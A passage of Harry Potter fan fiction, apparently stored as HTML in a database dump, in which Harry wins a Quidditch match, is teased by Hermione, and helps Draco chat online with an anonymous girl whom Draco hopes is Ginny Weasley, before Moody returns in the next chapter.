laps.</p>\n\n<p class="MsoNormal">&quot;A nice clean game now!&quot; she said and the game was off.</p>\n\n<p class="MsoNormal">Harry zoomed up away from the Ravenclaw seeker, Emma Jefferson who was\ntrying to keep close to him.&nbsp; He soared\nover the top of the stands, squinting for a glimpse of the snitch to end the\ngame quickly.</p>\n\n<p class="MsoNormal">&quot;Weasley! Passes to Timberscale!&nbsp;\nBack to Weasley!&nbsp; Off to the\nright to Finnigan!&nbsp; Ooh nasty blow from\nthat bludger!&nbsp; Finnigan drops the\nquaffle but recovered by Weasley!&nbsp; And-\nYES it\'s through! 10-0 to Gryffindor.&quot;</p>\n\n<p class="MsoNormal">Harry looked over to the side and saw Ginny give Aleisha a high\nfive.&nbsp; He smiled and then out of the\ncorner of his eye he could see Emma circling close to him.&nbsp; </p>\n\n<p class="MsoNormal">\'Time for some fun.\' Harry thought to himself, and with a fake look of\nconcentration dived towards the ground.&nbsp;\n</p>\n\n<p class="MsoNormal">Emma immediately was on his tail.&nbsp;\nThe ground was coming closer and closer.</p>\n\n<p class="MsoNormal">&quot;Potter and Jefferson have seen the snitch!&quot;&nbsp; </p>\n\n<p class="MsoNormal">At the last second Harry pulled up with all his might, just skimming the\nground.&nbsp; Emma wasn\'t so lucky, she\nplowed straight into the ground.&nbsp; </p>\n\n<p class="MsoNormal">There was a loud, &quot;Oooh!&quot; </p>\n\n<p class="MsoNormal">Harry flew up and looked down at her, she seemed okay, a little dazed\nbut not injured permantly.&nbsp; Harry\nhurtled to the other end of the Qudditch pitch, taking this time to search for\nthe Snitch.&nbsp; A small glimmer of gold\ncaught Harrys eye, he dived again.</p>\n\n<p class="MsoNormal">&quot;Potter has seen the snitch!&quot;</p>\n\n<p class="MsoNormal">His arm stretched out in front of him, straining.&nbsp; </p>\n\n<p class="MsoNormal">\'A little closer.&nbsp; A little\nmore!\'&nbsp; Harry thought, his face scrunched\nup in concentration.&nbsp; The ground was\ncoming closer and closer, if Harry didn\'t pull up he was going to plow straight\ninto the ground.&nbsp; Half a meter from the\nground Harrys fingers closed around the snitch.&nbsp; He pulled up with all his might and landed with a soft tumble on\nthe grass.</p>\n\n<p class="MsoNormal">&quot;Ow.&quot;</p>\n\n<p class="MsoNormal">&quot;YES!&nbsp; POTTER HAS THE\nSNITCH!&nbsp; GRYFFINDOR WIN!\n160-0!&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;That was such a stupid move Harry!&quot;&nbsp; Hermione said glaring at him and dabbing a cut on his forehead\nwith a cloth.</p>\n\n<p class="MsoNormal">&quot;Ow!&quot; he said wincing.</p>\n\n<p class="MsoNormal">Hermione glared at him, &quot;Well if you hadn\'t been such an idiot you\nwouldn\'t have gotten hurt!&quot; she snapped.</p>\n\n<p class="MsoNormal">&quot;But \'Mione...you\'re the one that hit me.&quot;&nbsp; Harry argued.</p>\n\n<p class="MsoNormal">&quot;You deserved it!&quot; she said poking his cut.</p>\n\n<p class="MsoNormal">&quot;OW!!!&quot; he yelled.</p>\n\n<p class="MsoNormal">&quot;Oh don\'t be such a baby.&quot; she sniffed, ignoring the couple of\nfirst years who were giggling at the pair.</p>\n\n<p class="MsoNormal">&quot;I\'m not a baby.&quot;</p>\n\n<p class="MsoNormal">&quot;Then quit whining!&quot; </p>\n\n<p class="MsoNormal">&quot;Hmph...so what have you got next?&quot;&nbsp; Harry asked, changing the subject.</p>\n\n<p class="MsoNormal">Hermione tilted her head to the side as she gently dabbed his head,\n&quot;Um...potions.&nbsp; What about\nyou?&quot;</p>\n\n<p class="MsoNormal">&quot;Extra DADA.&quot; Harry said with a sigh.</p>\n\n<p class="MsoNormal">&quot;Don\'t you like doing it?&quot;&nbsp;\nHermione asked, squinting at his cut.</p>\n\n<p class="MsoNormal">&quot;It\'s not that I don\'t like it..it\'s just a\ntad...er...nerve-racking because you never know when Moody will let rip and\nfire curses everywhere.&quot; Harry said with a shrug.</p>\n\n<p class="MsoNormal">Ron bit back a laugh from his spot on the couch beside Harry,\n&quot;Sounds funny.&quot;</p>\n\n<p class="MsoNormal">&quot;Yeah it\'s dead hilarious when you walk in and Moody blasts you to\nthe other side of the school.&quot;&nbsp; Harry\nsaid rolling his eyes good humourdly.</p>\n\n<p class="MsoNormal">Ron snickered, &quot;Well that\'s what you get.&quot;</p>\n\n<p class="MsoNormal">&quot;Done!&quot;&nbsp; Hermione said\nstepping away from Harry, &quot;Be more careful next time.&quot;</p>\n\n<p class="MsoNormal">&quot;YOU\'RE THE ONE WHO HIT ME!&quot;&nbsp;\nHarry exclaimed loudly.</p>\n\n<p class="MsoNormal">&quot;WELL NEXT TIME DON\'T COMMENT ON THINGS LIKE THAT IN FRONT OF\nME!&quot;&nbsp; Hermione said just as loudly.</p>\n\n<p class="MsoNormal">Instantly Ron and Harry blushed, &quot;We didn\'t know you could hear\nus.&quot;&nbsp; Ron said embarrassed.</p>\n\n<p class="MsoNormal">Hermione harrumped loudly, &quot;Well I did!&nbsp; And you two are...arg!&quot; she finished and stormed away.</p>\n\n<p class="MsoNormal">Harry bit his lip so he wouldn\'t laugh, &quot;Well...why didn\'t she hit\nyou as well?&quot;</p>\n\n<p class="MsoNormal">Ron grinned at him, &quot;She tried to but I dodged, that\'s why she hit\nyou twice.&quot;</p>\n\n<p class="MsoNormal">Harry rubbed his sore head, &quot;Typical.&quot; he laughed,\n&quot;Well...I\'d better be going...if your late for Moodys classes..he\ngets............tempermental.&quot;</p>\n\n<p class="MsoNormal">Ron clapped him on the back, &quot;See you at lunch.&nbsp; Or at least I\'ll visit you.&quot;</p>\n\n<p class="MsoNormal">&quot;Visit me where?&quot;</p>\n\n<p class="MsoNormal">&quot;At the hospital wing.&quot;</p>\n\n<p class="MsoNormal">&quot;Oh shut up.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry clicked open his MSN window and signed in, Draco and Harry had\nbeen waiting for Moody to show up for the last twenty minutes in silence.</p>\n\n<p class="MsoNormal">&quot;Do you think he\'s forgotten about us?&quot;&nbsp; Draco asked.</p>\n\n<p class="MsoNormal">Harry turned and looked at him, &quot;I\'m still waiting for him to blast\nme again...maybe he got called away.&quot;</p>\n\n<p class="MsoNormal">Draco nodded, &quot;Probably.&quot;</p>\n\n<p class="MsoNormal">Harry looked down at his huge list of contacts; most of whom were\nonline.</p>\n\n<p class="MsoNormal">\'Well well..let\'s see..I don\'t actually know who most of these\nare...they\'ve added me...somehow.\' he said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">\'Hi!\' someone called Primrose said.</p>\n\n<p class="MsoNormal">\'Hi.\' Harry typed back.</p>\n\n<p class="MsoNormal">\'How are you?\'</p>\n\n<p class="MsoNormal">\'Good. you?\'</p>\n\n<p class="MsoNormal">\'Fine!\'</p>\n\n<p class="MsoNormal">\'Um..who are you?\' Harry asked.</p>\n\n<p class="MsoNormal">\'...not telling.&nbsp; Who are you?\'</p>\n\n<p class="MsoNormal">\'You added me and you don\'t know who I am?\'</p>\n\n<p class="MsoNormal">\'Well you\'re talking to me and you don\'t know who I am!\'</p>\n\n<p class="MsoNormal">\'I assumed you knew who I was when you added me.\'&nbsp; Harry typed.</p>\n\n<p class="MsoNormal">{AN: Okay from now on im changing how they type so you\'ll know whats\nchatroom and whats not!}</p>\n\n<p class="MsoNormal">Primrose: I just added some people who my friend told me to add.</p>\n\n<p class="MsoNormal">GoldenPhoenix {Remember that\'s Harrys name}: Oh okay then. &nbsp;So what class are you in?</p>\n\n<p class="MsoNormal">Primrose: Potions you?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">\'Hmm Hermiones in potions too..I wonder who this person is.\'</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">GoldenPhoenix: DADA</p>\n\n<p class="MsoNormal">Primrose: Cool.&nbsp; Learning loads?\n;)</p>\n\n<p class="MsoNormal">GoldenPhoenix: Sure. lol.</p>\n\n<p class="MsoNormal">Primrose: I\'ve got to go now.&nbsp;\nSnape is in a mood and I don\'t want to get caught.&nbsp; Maybe I\'ll talk to you later.</p>\n\n<p class="MsoNormal">GoldenPhoenix: Hope so.&nbsp; Just\ntell me one thing. Are you a girl or a boy.</p>\n\n<p class="MsoNormal">Primrose: I\'m a girl.&nbsp; U?</p>\n\n<p class="MsoNormal">GoldenPhoenix: I\'m a boy.</p>\n\n<p class="MsoNormal">Primrose: \'Kaay bye!</p>\n\n<p class="MsoNormal">GoldenPhoenix: bye.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Who are you talking to?&quot;&nbsp;\nDraco asked leaning over and looking at Harrys screen.</p>\n\n<p class="MsoNormal">Harry laughed, &quot;I have no idea.&nbsp;\nShe wouldn\'t tell me.&quot;</p>\n\n<p class="MsoNormal">&quot;She huh?&quot;&nbsp; Draco asked\nlaughing at Harrys blush.</p>\n\n<p class="MsoNormal">&quot;Oh shut up.&nbsp; Who are you\ntalking to?&quot;&nbsp; Harry asked peering\nover.</p>\n\n<p class="MsoNormal">Draco, in all of what would have been a milisecond, closed the window,\n&quot;No one.&quot; he said quickly.</p>\n\n<p class="MsoNormal">&quot;Sure you weren\'t.&nbsp;\nWho?&quot; Harry asked disbelievingly.</p>\n\n<p class="MsoNormal">A faint touch of pink graced Dracos cheeks, &quot;I don\'t know either\nokay?&nbsp; Some person.&quot;</p>\n\n<p class="MsoNormal">&quot;What\'s the screen name?&quot;&nbsp;\nHarry asked leaning over so he could see Dracos computer better.</p>\n\n<p class="MsoNormal">Draco frowned and moved it out of the way of Harrys gaze, &quot;None of\nyour business.&nbsp; Go talk to your\ngirlfriend.&quot; he said, his voice teasing.</p>\n\n<p class="MsoNormal">Harry blushed, &quot;She\'s not my girlfriend!&nbsp; I don\'t even know who she is!&nbsp;\nShe could be...anyone!&quot;</p>\n\n<p class="MsoNormal">&quot;Could be Hermione.&quot;</p>\n\n<p class="MsoNormal">&quot;Hermione wouldn\'t add someone who she didn\'t know.&nbsp; She\'s not stupid.&quot;&nbsp; Harry said shaking his head.</p>\n\n<p class="MsoNormal">&quot;You never know...even smart people slip up.&quot; Draco said, a\nfaint trace of regret in his voice.</p>\n\n<p class="MsoNormal">&quot;You want to...uh..talk?&quot;&nbsp;\nHarry asked, not quite sure what to say.</p>\n\n<p class="MsoNormal">Draco gave him a funny look, &quot;Uh no.&quot;</p>\n\n<p class="MsoNormal">Harrys eye was caught by a little blue box flashing, &quot;Ohh!&nbsp; You\'re <i>girlfriend</i>\nis talking.&quot;&nbsp; Harry said pointing.</p>\n\n<p class="MsoNormal">Draco whipped his head to it and opened it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">RedTemptress: You are such a flirt.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry cracked up laughing as Dracos cheeks turned a shade of red never\nseen before, &quot;Oh that\'s funny.&quot; Harry said clapping Draco on the\nback, &quot;What exactly were you saying?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">RedTemptress: You nearly made me get caught!&nbsp; Flitwick was right behind me!&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Draco glared at Harry, &quot;Shut up.&quot; he said.</p>\n\n<p class="MsoNormal">Harry stopped laughing but the grin was still on his face, &quot;Alright\ncalm down.&nbsp; She\'s talking again.&quot;\nhe said pointing to the screen.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">RedTemptress:&nbsp; Why won\'t you tell\nme who you are?&nbsp; We\'ve been talking for\nages now...</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;How long is ages?&quot;&nbsp;\nHarry asked raising an eyebrow.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">RedTemptress: Since the second day of school...</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Draco glared at Harry, &quot;Do you mind this is a private\nconversation.&quot;</p>\n\n<p class="MsoNormal">Harry shrugged, &quot;Not at all.&quot; but he didn\'t move.</p>\n\n<p class="MsoNormal">Draco rolled his eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">SilverSerpent: I know we\'ve been talking for ages.</p>\n\n<p class="MsoNormal">RedTemptress: Well then...why won\'t you tell me who you are?</p>\n\n<p class="MsoNormal">SilverSerpent: I don\'t know who you are either.</p>\n\n<p class="MsoNormal">RedTemptress: Yes..but if you told me I\'d tell you.</p>\n\n<p class="MsoNormal">SilverSerpent: Yeah I guess...can you hold on for a moment?&nbsp; I\'ve got someone leaning over my shoulder.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Draco took this time to glare at Harry meaningfully.&nbsp; Harry gave him an angelic smile,\n&quot;Ignore me.&quot;</p>\n\n<p class="MsoNormal">Draco rolled his eyes, then pointed to Harrys computer, &quot;You\'re\nbeing talked to.&quot; he said.</p>\n\n<p class="MsoNormal">Harry turned back to his computer, &quot;Oh would you look at that.&nbsp; I am. It\'s the same person!!!!&nbsp; Haha it\'s redtemptress!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">RedTemptress: Hi. Who are you?</p>\n\n<p class="MsoNormal">GoldenPhoenix: Who are <i>you</i>?</p>\n\n<p class="MsoNormal">RedTemptress: I asked you first!</p>\n\n<p class="MsoNormal">GoldenPhoenix: Doesn\'t mean I have to answer first.</p>\n\n<p class="MsoNormal">RedTemptress: Yes it does!</p>\n\n<p class="MsoNormal">GoldenPhoenix: lol! Nuh huh!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Draco leaned over, &quot;Did she say who she was?&nbsp; Find out for me will you?&quot; he asked.</p>\n\n<p class="MsoNormal">Harry grinned, &quot;Alright I\'ll try.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">GoldenPhoenix: What house are you in?</p>\n\n<p class="MsoNormal">RedTemptress: Why?</p>\n\n<p class="MsoNormal">GoldenPhoenix: I just wanted to know how you got my email lol.</p>\n\n<p class="MsoNormal">RedTemptress: Oh I got it from Colin Creevey.&nbsp; He had nearly everyones emails but he didn\'t know whose was who\nso I just grabbed the list and added everyone.</p>\n\n<p class="MsoNormal">GoldenPhoenix: Lol!! So are you a girl or a boy.&nbsp; I assume your in Gryffindor if you know\nColin Creevey well enough to get a list from him.</p>\n\n<p class="MsoNormal">RedTemptress: He was handing them out.</p>\n\n<p class="MsoNormal">GoldenPhoenix: Oh.&nbsp; Lol okay\nnevermind then.. are you a girl or a boy?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Who is it?&quot; Draco asked impatiently,looking again.</p>\n\n<p class="MsoNormal">&quot;Give me a minute.&quot;&nbsp;\nHarry said, &quot;She doesn\'t want to say.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">RedTemptress: Look at my name.&nbsp;\nDoes it sound very masculine to you?</p>\n\n<p class="MsoNormal">GoldenPhoenix: Good point.&nbsp; So\nyou\'re a Gryffindor girl then?</p>\n\n<p class="MsoNormal">RedTemptress: Who says I\'m in Gryffindor?</p>\n\n<p class="MsoNormal">GoldenPhoenix: I just guess because of the red thing.</p>\n\n<p class="MsoNormal">RedTemptress: Well I\'m not saying who I am or what house I\'m in!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Damn.&nbsp; Sorry man.&nbsp; She won\'t say.&quot; Harry appolgised.</p>\n\n<p class="MsoNormal">Draco frowned and sighed, &quot;Bummer...&quot;</p>\n\n<p class="MsoNormal">&quot;Why don\'t you just tell her who you are?&nbsp; Then she\'d tell you.&quot;&nbsp;\nHarry suggested.</p>\n\n<p class="MsoNormal">&quot;She\'d never speak to me again if I told her who I was.&quot;&nbsp; Draco said flatly.</p>\n\n<p class="MsoNormal">&quot;Why not?&quot;&nbsp; Harry\nasked, a little confused.</p>\n\n<p class="MsoNormal">&quot;People usually don\'t...&quot;&nbsp;\nDraco said, his voice quiet and sad.</p>\n\n<p class="MsoNormal">&quot;Oh..that sucks.&quot;</p>\n\n<p class="MsoNormal">&quot;Whatever.&nbsp; Anyway..you sure\nyou can\'t get her to tell you?&quot;&nbsp;\nDraco asked, changing the subject.</p>\n\n<p class="MsoNormal">Harry quickly took the hint, &quot;Sorry.&nbsp; She won\'t say.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">RedTemptress: Are you a boy or a girl?</p>\n\n<p class="MsoNormal">GoldenPhoenix: Boy.</p>\n\n<p class="MsoNormal">RedTemptress: What house?</p>\n\n<p class="MsoNormal">GoldenPhoenix: If you won\'t tell I won\'t.&nbsp; What year are you in?</p>\n\n<p class="MsoNormal">RedTemptress: I\'m above 5th year.</p>\n\n<p class="MsoNormal">GoldenPhoenix: So you\'re not in 5th year?</p>\n\n<p class="MsoNormal">RedTemptress: No above it.</p>\n\n<p class="MsoNormal">GoldenPhoenix: 6th? </p>\n\n<p class="MsoNormal">RedTemptress: Maybe</p>\n\n<p class="MsoNormal">GoldenPhoenix: 7th?</p>\n\n<p class="MsoNormal">RedTemptress: Maybe.</p>\n\n<p class="MsoNormal">GoldenPhoenix: Lol.&nbsp; You\'re not\nmaking this easy.</p>\n\n<p class="MsoNormal">RedTemptress: Good.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;She\'s either in 6th year or 7th year.&quot;&nbsp; Harry said to Draco.</p>\n\n<p class="MsoNormal">&quot;Oh okay.&nbsp; Good...know what\nhouse?&quot;&nbsp; Draco asked.</p>\n\n<p class="MsoNormal">Harry shook his head, &quot;No she\'s being very evasive.&quot;</p>\n\n<p class="MsoNormal">&quot;Alright thanks anyway.&quot;&nbsp;\nDraco said flashing him a grateful smile.</p>\n\n<p class="MsoNormal">&quot;So what have you two been talking about?&quot;&nbsp; Harry asked trying to sound casual.</p>\n\n<p class="MsoNormal">Draco blushed a little, &quot;Stuff.&quot;</p>\n\n<p class="MsoNormal">&quot;Draco!&nbsp; You\'re not having a\nfull on relationship with this chick are you?&quot; Harry asked shocked.</p>\n\n<p class="MsoNormal">Draco turned even redder, &quot;Not a full on relationship.&quot; he\nsaid quietly.</p>\n\n<p class="MsoNormal">Harry shook his head, &quot;She could be a he!&nbsp; Someone just screwing with you.&quot;</p>\n\n<p class="MsoNormal">Draco glared at him, &quot;She\'s not.&quot;</p>\n\n<p class="MsoNormal">&quot;How do you know?&quot;</p>\n\n<p class="MsoNormal">&quot;She just isn\'t okay!&quot;&nbsp;\nDraco said a little angrily.</p>\n\n<p class="MsoNormal">&quot;Alright calm down.&nbsp; I was\njust saying she could be.&quot;&nbsp; Harry\nsaid holding up his hands in defeat.</p>\n\n<p class="MsoNormal">&quot;I know...but I just don\'t want her to be.&quot;&nbsp; Draco said looking back at his screen.</p>\n\n<p class="MsoNormal">Harry turned back to his screen and saw she had typed again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">RedTemptress: So what class are you in?</p>\n\n<p class="MsoNormal">GoldenPhoenix: DADA. you?</p>\n\n<p class="MsoNormal">RedTemptress: Charms</p>\n\n<p class="MsoNormal">GoldenPhoenix: Shouldn\'t you be paying attention?</p>\n\n<p class="MsoNormal">RedPhoenix: No more than you.</p>\n\n<p class="MsoNormal">GoldenPhoenix: Lol.&nbsp; Yeah I\nguess.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hey don\'t say anything about Moody not being here okay?&quot;&nbsp; Harry said to Draco who raised an eyebrow.</p>\n\n<p class="MsoNormal">&quot;Why not?&quot; he asked.</p>\n\n<p class="MsoNormal">&quot;Well think about it.&nbsp;\nHermione and Ron will want to know what happened.. then people will talk\nabout it and it will completely get around that we\'re the only two in his\nclass.&nbsp; You know?&nbsp; Then she\'ll know it\'s either you or\nme.&quot; Harry said.</p>\n\n<p class="MsoNormal">Draco nodded, &quot;Alright.&quot;</p>\n\n<p class="MsoNormal">Harry leaned over, &quot;What is she saying to you?&quot; he asked.</p>\n\n<p class="MsoNormal">Draco blushed but let him read it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">RedTemptress: It\'d be so much more interesting if you were there tonight\n;)</p>\n\n<p class="MsoNormal">SilverSerpent: Tell me about it.</p>\n\n<p class="MsoNormal">RedTemptress: If you tell me who you are I\'ll invite you.</p>\n\n<p class="MsoNormal">SilverSerpent: Let\'s not start that again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry watched as another message popped up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">RedTemptress: Can I help it if I want to kiss you in real life instead\nof just online?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harrys eyes widened to the size of dishes, &quot;And you said not a full\non relationship!&quot; he said.</p>\n\n<p class="MsoNormal">Draco raised an eyebrow, &quot;What are you going on about?? Has she\nsaid something back?&quot; he asked shoving Harry out of the way so he could\nsee.</p>\n\n<p class="MsoNormal">Harry waited for Draco to say something but instead Draco just turned\ncrimson and started stuttering.</p>\n\n<p class="MsoNormal">&quot;Wh-she-wha-she wants to-how-I mean should I-&quot; Draco\nstammered.</p>\n\n<p class="MsoNormal">Harry chuckled, &quot;So you still think she wouldn\'t want to know who\nyou are?&quot;</p>\n\n<p class="MsoNormal">&quot;More than ever.&quot;&nbsp;\nDraco said firmly.</p>\n\n<p class="MsoNormal">Harry shook his head, &quot;You\'re an idiot.&quot; he sighed and turned\nback to his conversation with Dracos mystery girl.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">RedTemptress: What year are you in?</p>\n\n<p class="MsoNormal">GoldenPhoenix: 7th</p>\n\n<p class="MsoNormal">RedTemptress: Oh okay.&nbsp; Cool.</p>\n\n<p class="MsoNormal">GoldenPhoenix: Heh thanks.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Can I tell her I\'m sitting next to you?&quot;&nbsp; Harry asked.</p>\n\n<p class="MsoNormal">Draco frowned, &quot;You can\'t say who I am...or that I let you read the\nconversation.&quot; he said finally.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">GoldenPhoenix: Wow would you look at that.&nbsp; The person I\'m sitting next to is having a conversation with you\nas well.</p>\n\n<p class="MsoNormal">RedTemptress: What\'s their screen name?</p>\n\n<p class="MsoNormal">GoldenPhoenix: SilverSerpent.</p>\n\n<p class="MsoNormal">RedTemptress: Did you read our convo?</p>\n\n<p class="MsoNormal">GoldenPhoenix: Nah he wouldn\'t let me.</p>\n\n<p class="MsoNormal">RedTemptress: Who exactly are you sitting next to? Like what\'s his name?</p>\n\n<p class="MsoNormal">GoldenPhoenix: That\'d be telling.</p>\n\n<p class="MsoNormal">RedTemptress: Exactly! So?</p>\n\n<p class="MsoNormal">GoldenPhoenix: You tell me who you are first.</p>\n\n<p class="MsoNormal">RedTemptress: I don\'t want to...</p>\n\n<p class="MsoNormal">GoldenPhoenix: Well he doesn\'t want me to say..so I won\'t.</p>\n\n<p class="MsoNormal">RedTemptress: Look I gtg. Flitwick is close and I don\'t want him to\ncatch me.</p>\n\n<p class="MsoNormal">GoldenPhoenix: Maybe I\'ll talk to you later?</p>\n\n<p class="MsoNormal">RedTemptress: Maybe. Bye</p>\n\n<p class="MsoNormal">GoldenPhoenix: Bye.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;She\'s gone.&quot; Harry said.</p>\n\n<p class="MsoNormal">Draco nodded, &quot;Flitwick was on her tail.&quot;</p>\n\n<p class="MsoNormal">&quot;Yeah...who do you think it is?&quot;&nbsp; Harry asked.</p>\n\n<p class="MsoNormal">Draco shrugged, &quot;I don\'t know..I know who I want it to be but I\ndoubt its that person.&quot;</p>\n\n<p class="MsoNormal">&quot;Who do you want it to be?&quot;&nbsp;\nHarry asked curiously.</p>\n\n<p class="MsoNormal">&quot;Not saying.&quot; Draco said quickly, realising he\'d said too\nmuch.</p>\n\n<p class="MsoNormal">\'No go on.&nbsp; Tell me I won\'t\nlaugh.&quot;&nbsp; Harry encouraged.</p>\n\n<p class="MsoNormal">&quot;Maybe I\'ll tell you some other time.&quot;&nbsp; Draco said dismissively.</p>\n\n<p class="MsoNormal">&quot;Why not tell me now?&nbsp; We\'re\nthe only ones here.&quot;&nbsp; Harry said\nleaning forward, grinning slightly.</p>\n\n<p class="MsoNormal">&quot;Because..&quot;</p>\n\n<p class="MsoNormal">&quot;Because??&quot;&nbsp; Harry\nprompted.</p>\n\n<p class="MsoNormal">&quot;Because I want it to be Ginny Weasley.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">AN: How\'s that for an ending? I know it didn\'t go on about Hermione and\nHarrys diary HOWEVER I have a plan so stayed tuned for the next chapter!!! Let\nme know what you think with a nice long REVIEW *hint hint*</p>\n\n<p class="MsoNormal">love</p>\n\n<p class="MsoNormal">NiaSphinx</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(205, 5, '\n\n\n\n<p class="MsoNormal">Disclaimer: I don\'t own em.&nbsp; I\'ve\nsaid it before. I\'ll say it again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Author Notes: Yay!! ^_^ Chapter 4!! Just finished my english essay with\na little help ^_^. THANK YOU!!! Kaay well thanks to everyone who reviewed!&nbsp; I\'d go get everyones names but that\'ll make\nme have less time to to work on this chapter!&nbsp;\nAnd you wouldn\'t want that now would you??&nbsp; Didn\'t think so!&nbsp; Drop me\na line and tell me what you think will happen (or what you want to happen ;))\nALRIGHT THEN ON WITH CHAPTER 4!!&nbsp; I know\nthat\'s what you\'re all waiting for!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">\'Ginny??!?!?!&nbsp; GINNY?!?!?!\' Harry\nthought to himself in shock.</p>\n\n<p class="MsoNormal">&quot;Gi-gi-gi-gi-&quot; Harry stammerred.</p>\n\n<p class="MsoNormal">&quot;Gi-nny.&quot;&nbsp; Draco\nfinished for him, rolling his eyes.</p>\n\n<p class="MsoNormal">&quot;Gi-gi-gi.&quot; </p>\n\n<p class="MsoNormal">&quot;I get it.&nbsp; You\'re shocked.&quot;</p>\n\n<p class="MsoNormal">&quot;Shocked?!?!&nbsp; SHOCKED?!?!\nBloody hell!&nbsp; I\'m past shocked!&nbsp; I\'m-I\'m-DEAR GOD!GINNY!&quot;&nbsp; Harry yelled, &quot;You mean Ginny\nWeasley.&nbsp; Red hair.&nbsp; Related to my best friend Ron?&quot;</p>\n\n<p class="MsoNormal">Draco chuckled quietly, &quot;That\'d be the one.&quot; he said, a little\nsmile on his face.</p>\n\n<p class="MsoNormal">&quot;Well blow me away...&quot;&nbsp;\nHarry breathed, &quot;Why Ginny?&quot;</p>\n\n<p class="MsoNormal">&quot;Why Hermione?&quot; </p>\n\n<p class="MsoNormal">&quot;What has this got to do with Hermione?&quot;&nbsp; Harry asked confused.</p>\n\n<p class="MsoNormal">Draco snorted, &quot;Forget it.&nbsp;\nYou\'ll figure it out someday.&quot;</p>\n\n<p class="MsoNormal">&quot;Whatever.&quot; Harry said shaking his head, &quot;Anyway class is\nnearly over.&nbsp; And we didn\'t get\nbl-&quot;</p>\n\n<p class="MsoNormal">There was a loud crash, Harry and Dracos heads whipped up and they were\nthrown backwards by a bright force.</p>\n\n<p class="MsoNormal">&quot;Had to go and jinx it didn\'t you.&quot;&nbsp; Draco moaned as he rubbed the spot on his head where he\'d hit the\nwall.</p>\n\n<p class="MsoNormal">&quot;Hi Professer.&quot;&nbsp; Harry\nsaid also rubbing his head.</p>\n\n<p class="MsoNormal">&quot;CONSTANT VIGLENENCE!&quot; someone to the right of the roared.</p>\n\n<p class="MsoNormal">Harry and Draco jumped, they\'d thought he was at the front and were\npromptly blasted from the right.</p>\n\n<p class="MsoNormal">&quot;Ugh.&quot;&nbsp; Harry moaned as\nhe slammed into the cold wall.</p>\n\n<p class="MsoNormal">&quot;I blame you.&quot;&nbsp; Draco\nsaid gasping for the breath that was knocked out of him when he hit the wall.</p>\n\n<p class="MsoNormal">&quot;Alright take your seats.&quot;&nbsp;\nMoody said walking to the front.</p>\n\n<p class="MsoNormal">Harry and Draco didn\'t move, &quot;NOW!&quot; Moody growled and\ninstantly Draco and Harry ran back to their seats.</p>\n\n<p class="MsoNormal">&quot;Alright.&nbsp; I know I\'m\nlate.&nbsp; I was occupied.&nbsp; Now...I want you each to do a SEPERATE\nassignment on one of the unforgivable curses.&nbsp;\nA different one.&quot; Moody said, &quot;I want an essay on it, with\nexamples of people who use it and why and what syptoms people have after use\netc.&nbsp; Alright?&nbsp; Good.&quot;&nbsp; he said and\nturned on his 